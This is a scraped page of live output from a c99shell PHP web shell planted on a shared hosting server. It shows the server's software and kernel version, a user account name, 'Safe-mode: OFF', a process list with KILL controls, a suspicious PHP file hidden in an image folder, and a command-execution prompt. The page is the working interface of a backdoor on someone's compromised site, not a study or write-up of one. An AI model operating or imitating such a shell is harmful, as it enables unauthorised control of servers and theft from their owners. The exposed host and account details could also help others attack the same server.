Software: LiteSpeed. PHP/7.4.33 uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) Safe-mode: OFF (not secure) /var/softaculous/blesta4/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
necipbey | 1802946 | 0.0 | 0.0 | 498300 | 32584 | ? | S 00:30 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1812160 | 1.1 | 0.0 | 502800 | 26704 | ? | Ss 00:30 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1815100 | 2.0 | 0.0 | 500412 | 24192 | ? | Ss 00:31 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1815108 | 0.0 | 0.0 | 500412 | 23912 | ? | Ss 00:31 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1815109 | 0.0 | 0.0 | 500412 | 23912 | ? | Ss 00:31 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1815110 | 0.0 | 0.0 | 502460 | 24344 | ? | Ss 00:31 0:00 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 1815112 | 0.0 | 0.0 | 498364 | 18648 | ? | Ss 00:31 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1815128 | 0.0 | 0.0 | 43044 | 2280 | ? R 00:31 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0113 ]-- |